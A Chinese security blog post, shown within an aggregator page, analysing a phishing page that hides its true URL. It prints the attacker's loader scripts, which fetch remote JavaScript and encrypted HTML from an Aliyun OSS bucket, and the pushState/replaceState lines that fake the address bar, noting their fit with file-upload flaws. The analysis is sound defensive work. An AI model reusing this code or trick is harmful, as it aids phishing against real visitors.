惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
爱范儿
爱范儿
博客园 - 三生石上(FineUI控件)
Vercel News
Vercel News
M
MIT News - Artificial intelligence
L
LangChain Blog
大猫的无限游戏
大猫的无限游戏
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
Microsoft Azure Blog
Microsoft Azure Blog
J
Java Code Geeks
Recent Announcements
Recent Announcements
Stack Overflow Blog
Stack Overflow Blog
人人都是产品经理
人人都是产品经理
IT之家
IT之家
F
Fortinet All Blogs
博客园 - 聂微东
U
Unit 42
Martin Fowler
Martin Fowler
腾讯CDC
博客园_首页
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
量子位
阮一峰的网络日志
阮一峰的网络日志
博客园 - Franky

吹比💨

NFS 服务引发的一次“诡异”应急响应 银狐使用WDAC来对抗杀软 浏览器第三方Cookie保护导致无法使用Github.dev 一次排查网站劫持过程流水账 手动导出 Microsoft Authenticator 中的2FA密钥 使用CloudFlare的IP Lists功能来做访问控制 FrontJS网站错误监控插件存在弹窗广告 宝塔面板可能存在未知漏洞的分析与处置方法 CDN厂商解决域前置问题 中文域名那些事 TLS握手指纹(JA3/JA3S)检测恶意软件流量 [A-Z]{2}\d{2}.cc 团伙的一些公开信息 Azure旗下奇怪的静态托管服务 Csrf与浏览器第三方Cookie策略的问题 Pppoe密码嗅探 Publicsuffix那些事 一次有意思的域名追踪 CobaltStrike通信中host字段的获取 XFF那些事 CORB那些事 Referrer Policy那些事 使用CloudFlare来为网站开启客户端证书验证 DNS那些事 用flask来在线管理你的iptables 屏蔽掉向日葵的有效方法 帝国cms在防止内容采集方面做的工作 身份验证器是如何验证我们的身份? 利用GoogleAppsScript自动回复短信实现保号 Nginx实用模块 有关跨域请求的一些记录
使用pushState伪造浏览器地址栏
榆木 · 2024-05-01 · via 吹比💨

前言

在日常划水时候发现一个有意思的钓鱼页面,当复制浏览器地址去访问的时候会直接提示404,随即水一篇。

分析

钓鱼页面的入口为https://image.jiubugaosuni.com/image_clone/1713218343_IgHz1_45b130.html?sou, 看到这个目录结构,很容易和任意文件上传这类的漏洞关联起来。 打开页面后可以看到该页面引入了一个新的JS

<script charset="UTF-8">  
 var xUrl = '//2024wzyy1.oss-cn-hangzhou.aliyuncs.com/xin_cx_1.js'  
 var now = Math.round(Date.now() / 1000 / 5)  
 var s = document.createElement('script')  
 s.setAttribute('src', xUrl + '?t=' +now)  
 s.setAttribute('charset', 'utf-8')  
 if (!document.body) document.head.appendChild(s)  
 else document.body.appendChild(s)  
 </script>  

页面内容中还有注释掉上面xml头的逻辑,可能上传时候业务逻辑做了一些限制,攻击者通过注释来绕过这个业务逻辑限制来运行html代码。
再往下2024wzyy1.oss-cn-hangzhou.aliyuncs.com/xin_cx_1.js的内容如下:

function loadhtml(url){ 
 var xhr = new XMLHttpRequest;
 var html = null;
 function render() {
  var a = document.open("text/html", "replace");
  a.write(html);
  a.close();
 }
 xhr.onload = function () {
  html = xhr.responseText;
  var delay = 0;
  if (delay > 0) setTimeout("render()", delay * 1000)
  else render();
 };
 xhr.open("GET", url, !0);
 xhr.send(); 
}
 loadhtml('//2024wzyy1.oss-cn-hangzhou.aliyuncs.com/xin_qq_hua_2.html?a=2?'+new Date().getTime()); 

引入的html有加密,通过直接运行上面的代码来观察进一步动作。运行以后,地址栏的URL的路径以及参数变成这样: bm55e27z59.html?1714556281896#1714556281896
通过#+时间戳的关键字定位到如下逻辑
可以看到通过pushState将地址栏进行了修改。但这句代码并不能达到修改uri地址的目的,于是再翻看JS,找到了下面这句:

window.history.replaceState({}, '', '/' + randomString(10) + '.html?' + Date.now());

攻击者通过使用pushState、replaceState结合来完成隐藏真正的被攻击页面的资源地址,来达到迷惑访客、运维人员的目的。

后语

根据文档来看,这两个api都受同源策略的限制。

新的 URL 必须与当前 URL 同源;否则,pushState() 将抛出异常
历史记录条目的 URL。新的 URL 跟当前的 URL 必须同源;否则 replaceState() 方法将抛出异常。

所以一般可以结合任意文件上传漏洞在钓鱼的过程中使用。当控制了某域下的任意html资源以后就可以伪造地址成该域下的其他资源,结合短网址等更佳。